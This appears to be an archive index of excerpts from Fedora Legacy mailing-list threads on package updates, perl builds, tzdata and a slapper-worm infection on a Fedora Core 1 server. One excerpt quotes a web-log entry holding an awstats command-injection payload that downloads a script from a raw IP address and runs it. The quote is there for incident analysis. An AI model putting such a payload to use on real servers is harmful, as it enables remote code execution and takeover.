Re: What we're forgetting . . .

David Eisenstein wrote: As we continue to talk over where Fedora Legacy is going, and what distro's should or shouldn't be maintained by us, it occurs to me that we are forgetting some important things * How many contributors do we have now that get the work of Fedora

Re: RKHUNTER reporting on my system

kles koe wrote: why don't you just ask the author of rkhunter to update the hashes for these packges? i think i did once and it was fixed within a few days. I said I already reported this issue twice, but so far I haven't received any reaction and the latest version of the hashes

Re: New sendmail and missing /usr/lib/sendmail

Hi Eric, Quoting Michal Jaegermann [EMAIL PROTECTED]: I am not sure in which distro /usr/sbin/alternatives showed up for the first time. It first showed up in RHL 7.3 as far as RHL goes. It originated in debian though... *** ERROR: FEATURE() should be before MAILER() *** ERROR:

Updated tzdata packages?

Hi, I'm just wondering has anyone considered updating the tzdata package for FC1/2? In Australia for example, our Daylight savings time changed due to the Commonwealth games. Red Hat have released updates for their distributions, but looking at FC1/2: FC1# tzdata-2004b-1.fc1 FC2#

Re: slapper worm

Hi Peter, On 2006-01-24 08:46:24 +1000, Michael Mansour wrote: More generally, I read advice somewhere that mounting /tmp with the noexec option (and making any other temp directories symbolic links to that one) can make this type of attack much more difficult. This doesn't really

Re: slapper worm

Hi Mike, You should do a netstat -na | grep SYN, if you see alot of those then slapper is there DOS attacking people. $ netstat -na | grep SYN $ Thanks for the advice. But, as I am behind a stealth firewall, I feel relatively secured against *this* type of attack. Umm, what does

slapper worm

Hi guys, I have an FC1 machine which got infected twice with the slapper worm, and then started DOS attacking a large vendor. I've stopped slapper in its tracks with a couple of changes to FC1, but in analysing now how it got in (it seems to use SSLv2 vulerabilities in an apache SSL server which

Re: slapper worm

Hi James, -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Michael Mansour wrote: Hi guys, I have an FC1 machine which got infected twice with the slapper worm, and then started DOS attacking a large vendor. I've stopped slapper in its tracks with a couple of changes to FC1

Re: slapper worm

Hi Kelson, Michael Mansour wrote: 220.135.223.35 - - [23/Jan/2006:08:33:02 +1100] GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1 403 344 - Mozilla/4.0 (compatible

Re: slapper worm

Hi Marc, On Tue, 2006-01-24 at 06:32 +1000, Michael Mansour wrote: I'm using: perl-5.8.3-17.4.legacy httpd-2.0.51-1.9.legacy openssl-0.9.7a-33.13.legacy Are there any updates FL can do to any of the packages to fix/block slapper from an FC1 machine? What version of php

Re: slapper worm

Hi Marc, On Tue, 2006-01-24 at 08:42 +1000, Michael Mansour wrote: No I'm not sure. Reading through the link above, it does seem that you've hit the nail on the head with this one. I have two other FC1 machines and they weren't affected by Slapper (even when the 3rd one was). The FC1

Re: Need discussion, Re: Latest contrib perl

Hi David, Hi John, Michael Mansour wrote: The perl versions I'm currently using on FC1 are from that directory: # rpm -q perl perl-suidperl perl-5.8.3-18.1.legacy perl-suidperl-5.8.3-18.1.legacy I built these versions for FC1; however, they are actually older

Re: Need discussion, Re: Latest contrib perl

Hi John, Michael Mansour wrote: The perl versions I'm currently using on FC1 are from that directory: # rpm -q perl perl-suidperl perl-5.8.3-18.1.legacy perl-suidperl-5.8.3-18.1.legacy I built these versions for FC1; however, they are actually older than the -17.3.legacy versions

Latest contrib perl

Hi, I'm trying to apply the latest contrib perl from: http://www.fedoralegacy.org/contrib/perl/ namely: perl-5.8.3-19.2.legacy.i386.rpm perl-suidperl-5.8.3-19.2.legacy.i386.rpm but I get the following result: # rpm -Uvh perl-suidperl-5.8.3-19.2.legacy.i386.rpm perl-5.8.3-19.2.legacy.i386.rpm

Re: CVE-2005-3962, Re: Perl Format String Vulnerability

Does this affect us? (1) HIGH: Perl Format String Vulnerability Affected: Perl versions 5.9.2 and 5.8.6 confirmed; potentially all Perl versions Webmin version 1.23 and prior Description: Perl is widely used as a scripting language for a variety of applications including

Re: PHP Attacks....

On Wed, 2005-11-09 at 13:27 -0700, Michal Jaegermann wrote: If I understand correctly that is really an XML_RPC vulnerability in pear libraries; so if you do not have such capability, or it is not turned on, then you are not vulnerable. Of course there are some applications which require

Re: Typo in yum instructions

Yes, although technically that's not the mirror, the true mirror is at http://dl.atrpms.net/mirrors/fedoralegacy/ including yum20 format headers. I wouldn't start changing content in a mirrored part :=) The problem is that yum-arch has a bug that breaks my yum20 repos:

Re: Thoughts about James' Updates on Legacy list

Josep L. Guallar-Esteve wrote: On Wednesday 28 September 2005 11:21, James Kosin wrote: I'm not knocking RedHat, Fedora or Fedora-Legacy this is a good point. But, some of us need more than just patches to get us by. I know, If you really want the latest, why not update to FC4... The